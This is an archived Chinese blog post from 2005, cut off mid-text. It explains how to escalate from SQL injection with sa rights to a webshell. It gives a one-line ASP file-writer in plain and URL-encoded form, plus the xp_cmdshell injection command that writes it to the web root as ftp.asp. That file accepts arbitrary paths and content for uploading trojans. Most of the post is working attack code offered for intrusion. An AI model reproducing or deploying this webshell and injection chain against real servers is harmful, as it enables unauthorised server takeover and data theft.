sa︻◣ sql︻◣webshell︻◣系统权限

来源: BlogBus 原始链接: http://gongan.blogbus.com:80/logs/2005/06/1260937.html 存档链接: https://web.archive.org/web/20060226223611id_/http://gongan.blogbus.com:80/logs/2005/06/1260937.html


加密解密与溢出原理 学的越多就感觉自己懂的越少。 <<<sql注入建立虚拟目录,免得找web绝对路径! / 首页 / sa︻◣ sql︻◣webshell︻◣系统权限 SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。 1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。 文件内容: <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile=objFSO.CreateTextFile(request("mypath"),True) objCountFile.Write request("mydata") objCountFile.Close %> 这个文件可以写成一行 <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.CreateTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%> 将特殊字符进行编码 就可以得到 %3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E 注入(这里假定web目录是C:\Inetpub\wwwroot\): exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.CreateObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp'; 这样 在服务器的web 目录下 将生成一个 ftp.asp文件 该文件的代码为 <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile=objFSO.CreateTextFile(request("mypath"),True) objCountFile.Write request("mydata") objCountFile.Close %> 你可以看到,上面代码中预留了两个接口 mypath 和 mydata mypath是下次提交的时候 文件的生成路径 mydata是文件的内容 在本地编写一个客户端文件 例:RohuClient.htm 代码如下